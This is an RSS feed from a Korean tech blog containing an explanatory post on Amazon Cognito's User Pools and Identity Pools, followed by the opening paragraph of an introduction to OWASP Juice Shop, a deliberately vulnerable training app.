<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>chon</title>
    <link>https://chon29.tistory.com/</link>
    <description>이것저것...</description>
    <language>ko</language>
    <pubDate>Wed, 20 May 2026 22:11:53 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>chon29</managingEditor>
    <image>
      <title>chon</title>
      <url>https://tistory1.daumcdn.net/tistory/8252747/attach/92150efb39cc4474b8e4c172988268d2</url>
      <link>https://chon29.tistory.com</link>
    </image>
    <item>
      <title>[AWS] Amazon Cognito</title>
      <link>https://chon29.tistory.com/55</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;목차&lt;br /&gt;1. Amazon Cognito란?&lt;br /&gt;2. Cognito는 왜 생겼을까?&lt;br /&gt;3. 현재 어떻게 사용되고 있는가?&lt;br /&gt;4.Cognito의&amp;nbsp;구성요소&lt;br /&gt;- User Pool vs Identity Pool 상세 설명&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;amazon-cognito&quot; style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. Amazon Cognito란&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;300&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qJlzt/dJMcaiv9aft/hA3FKL99Jek4U1K4nUKiM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qJlzt/dJMcaiv9aft/hA3FKL99Jek4U1K4nUKiM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qJlzt/dJMcaiv9aft/hA3FKL99Jek4U1K4nUKiM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqJlzt%2FdJMcaiv9aft%2FhA3FKL99Jek4U1K4nUKiM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;300&quot; data-origin-width=&quot;300&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;figure id=&quot;og_1776018304689&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Amazon Cognito란 무엇입니까? - Amazon Cognito&quot; data-og-description=&quot;이 페이지에 작업이 필요하다는 점을 알려 주셔서 감사합니다. 실망시켜 드려 죄송합니다. 잠깐 시간을 내어 설명서를 향상시킬 수 있는 방법에 대해 말씀해 주십시오.&quot; data-og-host=&quot;docs.aws.amazon.com&quot; data-og-source-url=&quot;https://docs.aws.amazon.com/ko_kr/cognito/latest/developerguide/what-is-amazon-cognito.html#:~:text=Amazon%20Cognito%EB%8A%94%20%EC%9B%B9%20%EB%B0%8F,%EC%9D%B8%EC%A6%9D%20%EC%84%9C%EB%B2%84%2C%20%EC%9D%B8%EC%A6%9D%20%EC%84%9C%EB%B9%84%EC%8A%A4%EC%9E%85%EB%8B%88%EB%8B%A4.&quot; data-og-url=&quot;https://docs.aws.amazon.com/ko_kr/cognito/latest/developerguide/what-is-amazon-cognito.html#:~:text=Amazon%20Cognito%EB%8A%94%20%EC%9B%B9%20%EB%B0%8F,%EC%9D%B8%EC%A6%9D%20%EC%84%9C%EB%B2%84%2C%20%EC%9D%B8%EC%A6%9D%20%EC%84%9C%EB%B9%84%EC%8A%A4%EC%9E%85%EB%8B%88%EB%8B%A4.&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/eQD8q/dJMb84p9STd/xQyDm33DRCbafkVC7nomO1/img.png?width=1082&amp;amp;height=522&amp;amp;face=0_0_1082_522&quot;&gt;&lt;a href=&quot;https://docs.aws.amazon.com/ko_kr/cognito/latest/developerguide/what-is-amazon-cognito.html#:~:text=Amazon%20Cognito%EB%8A%94%20%EC%9B%B9%20%EB%B0%8F,%EC%9D%B8%EC%A6%9D%20%EC%84%9C%EB%B2%84%2C%20%EC%9D%B8%EC%A6%9D%20%EC%84%9C%EB%B9%84%EC%8A%A4%EC%9E%85%EB%8B%88%EB%8B%A4.&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.aws.amazon.com/ko_kr/cognito/latest/developerguide/what-is-amazon-cognito.html#:~:text=Amazon%20Cognito%EB%8A%94%20%EC%9B%B9%20%EB%B0%8F,%EC%9D%B8%EC%A6%9D%20%EC%84%9C%EB%B2%84%2C%20%EC%9D%B8%EC%A6%9D%20%EC%84%9C%EB%B9%84%EC%8A%A4%EC%9E%85%EB%8B%88%EB%8B%A4.&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/eQD8q/dJMb84p9STd/xQyDm33DRCbafkVC7nomO1/img.png?width=1082&amp;amp;height=522&amp;amp;face=0_0_1082_522');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Amazon Cognito란 무엇입니까? - Amazon Cognito&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;이 페이지에 작업이 필요하다는 점을 알려 주셔서 감사합니다. 실망시켜 드려 죄송합니다. 잠깐 시간을 내어 설명서를 향상시킬 수 있는 방법에 대해 말씀해 주십시오.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.aws.amazon.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4&quot;&gt;Amazon Cognito&lt;/b&gt;는 웹 및 모바일 앱에 대한 &lt;b data-index-in-node=&quot;30&quot; data-path-to-node=&quot;4&quot;&gt;인증(Authentication), 권한 부여(Authorization) 및 사용자 관리&lt;/b&gt; 기능을 빠르고 쉽게 구현할 수 있도록 돕는 AWS의 완전 관리형 서비스입니다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;쉽게 말해, 우리가 흔히 구현하는&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;웹이나 모바일 앱에&lt;/span&gt; &lt;b data-index-in-node=&quot;19&quot; data-path-to-node=&quot;5&quot;&gt;회원가입, 로그인, 비밀번호 찾기, 프로필 관리&lt;/b&gt; 등의 기능을 개발자가 직접 DB를 구축하고 복잡한 인증 로직을 짤 필요 없이 쉽고 안전하게 AWS에 맡기는 솔루션입니다. 구글, 메타, 아마존과 같은 소셜 ID 제공업체나 SAML 2.0, OpenID Connect를 사용하는 기업 ID 제공업체를 통한 로그인을 지원합니다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;cognito_1&quot; style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. Cognito는 왜 생겼을까? &lt;/b&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #141413; text-align: start;&quot;&gt;클라우드 기반 앱이 폭발적으로 늘어나면서, 개발팀마다 반복적으로 인증 시스템을 직접 구축해야 했습니다. 이 과정에서 &lt;/span&gt;다음과 같은 고질적인 문제들이 있었습니다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #141413; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;기존 방식의 문제점&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;회원가입/로그인/비밀번호 재설정 로직을 매번 처음부터 개발&lt;/li&gt;
&lt;li&gt;비밀번호 암호화(Hashing/Salting), 토큰 관리, 세션 보안을 개발자가 직접 책임&lt;/li&gt;
&lt;li&gt;소셜 로그인(OAuth) 연동 시 각 provider마다 별도 구현 필요&lt;/li&gt;
&lt;li&gt;사용자 수 증가에 따른 인증 서버 스케일링 문제&lt;/li&gt;
&lt;li&gt;AWS 리소스에 접근하기 위한 자격증명 관리 복잡성&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #141413; text-align: start;&quot;&gt;AWS는 2014년 Cognito를 출시하면서 이런 문제들을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;서비스 형태&lt;/b&gt;&lt;span style=&quot;color: #141413; text-align: start;&quot;&gt;로 추상화했습니다. 인증 인프라를 직접 운영할 필요 없이, API 호출만으로 엔터프라이즈급 보안을 적용할 수 있게 된 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #141413; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Auth0 / Firebase Auth와의 차이&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #3d3d3a; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;유사한 서비스로 Auth0, Firebase Authentication이 있습니다. Cognito의 차별점은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;AWS 생태계와의 네이티브 통합&lt;/b&gt;입니다. IAM, S3, API Gateway, Lambda 등과 바로 연결되어, AWS 기반 서비스라면 Cognito가 사실상 최적의 선택입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #141413; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 현재 어떻게 사용되고 있는가?&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #141413; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;Cognito는 현재 스타트업부터 대기업까지 다양한 규모의 서비스에서 핵심 인증 레이어로 활용되고 있습니다.&lt;/p&gt;
&lt;p style=&quot;color: #141413; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #141413; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;SPA / 모바일 앱&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #3d3d3a; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;React, Vue, Flutter 앱의 로그인/회원가입을 Amplify SDK로 빠르게 연동&lt;/p&gt;
&lt;p style=&quot;color: #3d3d3a; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #3d3d3a; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;서버리스 아키텍처&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #3d3d3a; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-size: 1.12em; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;API Gateway + Lambda 조합에서 JWT 토큰 기반 인증 자동 처리&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #3d3d3a; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p style=&quot;color: #141413;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;B2B SaaS&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #3d3d3a;&quot; data-ke-size=&quot;size18&quot;&gt;SAML 연동으로 기업 고객의 SSO(Single Sign-On) 환경 지원&lt;/p&gt;
&lt;p style=&quot;color: #3d3d3a;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #3d3d3a;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;멀티플랫폼 서비스&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #3d3d3a;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-size: 1.12em; letter-spacing: 0px;&quot;&gt;웹/iOS/Android 공통 인증을 하나의 User Pool로 통합 관리&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p style=&quot;color: #3d3d3a;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;일반적인 인증 흐름&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;앱&amp;nbsp;(클라이언트)&amp;nbsp;&amp;rarr;&amp;nbsp;Cognito&amp;nbsp;User&amp;nbsp;Pool&amp;nbsp;&amp;rarr;&amp;nbsp;JWT&amp;nbsp;토큰&amp;nbsp;발급&amp;nbsp;&amp;rarr;&amp;nbsp;API&amp;nbsp;Gateway&amp;nbsp;&amp;rarr;&amp;nbsp;Lambda&amp;nbsp;/&amp;nbsp;백엔드&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #141413; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. Cognito의 &lt;span style=&quot;color: #141413; text-align: start;&quot;&gt;구성요소&lt;/span&gt; &lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #141413; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;Cognito는 &lt;b&gt;User Pool&lt;/b&gt;과&lt;b&gt; Identity Pool&lt;/b&gt; 두 가지 핵심 구성요소로 이루어져 있습니다. 이 둘을 혼동하는 경우가 많은데, 역할이 명확하게 다릅니다.&lt;/p&gt;
&lt;p style=&quot;color: #141413; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;사용자 풀(User Pool)&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #3d3d3a; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;누구인지 확인하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;인증(Authentication)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;담당입니다. 회원 정보를 저장하고 로그인을 처리하는 &lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;사용자 디렉터리입니다. &lt;span style=&quot;background-color: #ffffff; color: #0f141a; text-align: start;&quot;&gt;앱 또는 API에 사용자를 인증하고 권한을 부여하려는 경우 사용자 풀을 생성합니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1082&quot; data-origin-height=&quot;522&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cP2lCT/dJMcacQgh7J/epxDiIQecbCvAo1agKi070/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cP2lCT/dJMcacQgh7J/epxDiIQecbCvAo1agKi070/img.png&quot; data-alt=&quot;User Pool의 전체 인증 흐름&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cP2lCT/dJMcacQgh7J/epxDiIQecbCvAo1agKi070/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcP2lCT%2FdJMcacQgh7J%2FepxDiIQecbCvAo1agKi070%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1082&quot; height=&quot;522&quot; data-origin-width=&quot;1082&quot; data-origin-height=&quot;522&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;User Pool의 전체 인증 흐름&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;사용자가 앱에 접속하면 먼저 Cognito User Pool에 로그인 요청을 하게 됩니다. 이때 사용자는 자신의 username과 password를 입력하거나, Google이나 Facebook 같은 외부 ID 제공자를 통해 인증할 수 있습니다. 만약 외부 ID 제공자로 로그인하길 원하면, Cognito가 자동으로 해당 제공자의 로그인 페이지로 리디렉션해줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;로그인 과정에서 추가 보안이 필요하다면 MFA(다중 인증) 같은 추가 챌린지가 발생할 수 있습니다. 예를 들어 서버에서 인증 코드를 사용자의 이메일이나 전화번호로 보내고, 사용자가 그 코드를 입력하는 식입니다. 모든 인증 과정이 완료되면 Cognito User Pool은 사용자에게 토큰(ID Token, Access Token, Refresh Token)을 발급합니다. 이 토큰을 통해 사용자는 앱의 API나 데이터베이스에 접근할 수 있게 되는 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;User Pool의 가장 큰 특징은 사용자 계정의 전체 생명주기를 관리한다는 점입니다. 가입, 로그인, 비밀번호 변경, 계정 복구 같은 모든 기능을 Cognito가 제공하므로, 개발자는 이런 복잡한 인증 로직을 직접 만들 필요가 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;회원가입/로그인&lt;/li&gt;
&lt;li&gt;JWT 발급&lt;/li&gt;
&lt;li&gt;소셜 로그인&lt;/li&gt;
&lt;li&gt;MFA 지원&lt;/li&gt;
&lt;li&gt;이메일 인증&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;자격 증명 풀(Identity Pool)&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;무엇을 할 수 있는가&lt;/b&gt;&lt;span style=&quot;color: #3d3d3a; text-align: start;&quot;&gt;를 결정하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;인가(Authorization)&lt;/b&gt;&lt;span style=&quot;color: #3d3d3a; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;담당입니다. Identity Pool의 주 역할은 사용자에게 AWS 리소스에 직접 접근할 수 있는&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;임시 접근 권한을&lt;/span&gt; 부여하는 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;770&quot; data-origin-height=&quot;476&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kL9oJ/dJMcaflVyAX/zh0ieh43bmU1NBBIY9vhs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kL9oJ/dJMcaflVyAX/zh0ieh43bmU1NBBIY9vhs1/img.png&quot; data-alt=&quot;Identity Pool의 인가 흐름&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kL9oJ/dJMcaflVyAX/zh0ieh43bmU1NBBIY9vhs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkL9oJ%2FdJMcaflVyAX%2Fzh0ieh43bmU1NBBIY9vhs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;770&quot; height=&quot;476&quot; data-origin-width=&quot;770&quot; data-origin-height=&quot;476&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Identity Pool의 인가 흐름&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;작동 방식을 보면, 먼저 사용자가 앱을 통해 Identity Pool에 인증을 요청합니다. 이때 사용자는 Cognito User Pool에서 받은 토큰을 사용하거나, 외부 ID 제공자(Google, Facebook 등)의 인증 정보를 사용할 수 있습니다. Identity Pool은 이 정보가 정말 유효한지 검증한 후, AWS의 STS(Security Token Service)에 임시 자격증명을 요청합니다. STS는 사용자의 권한에 맞는 임시 AWS 자격증명(Access Key, Secret Key, Session Token)을 발급해주고, 이를 통해 사용자는 S3, DynamoDB 같은 AWS 서비스에 직접 접근할 수 있게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Identity Pool의 핵심은 장기 자격증명 대신 &lt;b&gt;임시 자격증명&lt;/b&gt;을 사용한다는 점입니다. 이렇게 하면 보안이 훨씬 더 좋아집니다. 왜냐하면 임시 자격증명은 일정 시간이 지나면 자동으로 만료되기 때문입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;임시 IAM 자격증명&lt;/li&gt;
&lt;li&gt;S3 직접 접근&lt;/li&gt;
&lt;li&gt;비인증 사용자 지원&lt;/li&gt;
&lt;li&gt;역할 기반 접근&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;User Pool과 Identity Pool은 목적이 다르기 때문에 상황에 맞게 선택해서 사용해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;User Pool을 사용해야 할 때&lt;/b&gt;: 블로그, SNS, 전자상거래 같은 일반적인 웹 애플리케이션에서 사용자 로그인만 필요한 경우입니다. 사용자가 로그인하면 받은 토큰으로 백엔드 API를 호출해서 데이터를 가져오는 방식&lt;span style=&quot;background-color: #ffffff; color: #3d3d3a; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; 신원 확인 및 회원 정보 관리&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Identity Pool을 사용해야 할 때&lt;/b&gt;: 모바일 앱이 S3에 직접 사진을 업로드하거나, DynamoDB에서 데이터를 가져와야 하는 경우처럼 클라이언트가 AWS 리소스에 직접 접근해야 할 때입니다. &lt;span style=&quot;background-color: #ffffff; color: #3d3d3a; text-align: start;&quot;&gt;&amp;rarr; AWS 리소스에 대한 실제 권한 부여&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-pm-slice=&quot;0 0 []&quot; data-ke-size=&quot;size18&quot;&gt;① 사용자 로그인 &amp;rarr; User Pool이 &lt;b data-index-in-node=&quot;23&quot; data-path-to-node=&quot;12,0,0&quot;&gt;ID Token, Access Token&lt;/b&gt; 발급&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;② JWT를 Identity Pool에 전달 &amp;rarr; &lt;b data-index-in-node=&quot;26&quot; data-path-to-node=&quot;12,1,0&quot;&gt;임시 IAM Credentials (Access Key/Secret Key)&lt;/b&gt; 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;③ 자격증명으로 S3/DynamoDB 직접 호출&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;실제로 많은 애플리케이션에서는 User Pool과 Identity Pool을 함께 사용합니다. 먼저 User Pool로 사용자를 인증해서 토큰을 받고, 그 토큰을 Identity Pool에 제시해서 AWS 리소스 접근 권한을 얻는 방식입니다. 이렇게 하면 인증(Authentication)과 권한 부여(Authorization)가 깔끔하게 분리되어 보안성도 훨씬 높아집니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고&lt;/b&gt;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;youtube&quot; data-video-url=&quot;https://www.youtube.com/watch?v=BqgCJzSOT2k&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/vMW3P/dJMb84p9SVf/F1rtOTwLCFptNPkS7jwf41/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/u0tKp/dJMb86nYNPS/NaW1BBKnkOpuTqXrF6YNh0/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/co88Tb/dJMb82eOe7m/0bnxr2TAk0HOSaKoKsy2y1/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720&quot; data-video-width=&quot;860&quot; data-video-height=&quot;484&quot; data-video-origin-width=&quot;860&quot; data-video-origin-height=&quot;484&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-title=&quot;[보안/인증] Amazon Cognito를 이용한 백엔드 API 권한 관리 | 배진수, 당근마켓&quot; data-original-url=&quot;&quot;&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/BqgCJzSOT2k&quot; width=&quot;860&quot; height=&quot;484&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption style=&quot;display: none;&quot;&gt;&lt;/figcaption&gt;
&lt;/figure&gt;</description>
      <category>AWS</category>
      <category>AWS</category>
      <category>cognito</category>
      <category>id pool</category>
      <category>user pool</category>
      <author>chon29</author>
      <guid isPermaLink="true">https://chon29.tistory.com/55</guid>
      <comments>https://chon29.tistory.com/55#entry55comment</comments>
      <pubDate>Mon, 13 Apr 2026 04:01:40 +0900</pubDate>
    </item>
    <item>
      <title>OWASP Juice Shop 소개 및 환경 구축</title>
      <link>https://chon29.tistory.com/50</link>
      <description>&lt;h3 data-path-to-node=&quot;5&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;OWASP Juice Shop이란?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6&quot;&gt;OWASP Juice Shop&lt;/b&gt;은 보안 학습을 위해 &lt;b data-index-in-node=&quot;28&quot; data-path-to-node=&quot;6&quot;&gt;일부러 취약하게 만든&lt;/b&gt; 오픈소스 웹 애플리케이션이다. 단순한 웹 공격뿐만 아니라, 클라우드 인프라 취약점, 데이터베이스 탈취 등 현실적인 공격 시나리오가 존재한다. 최신 웹 기술인 Node.js, Express, Angular로 제작되어서, 옛날 방식의 취약점뿐만 아니라 요즘 실제로 쓰이는 최신 취약점들까지 골고루 실습해 볼 수 있다.&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
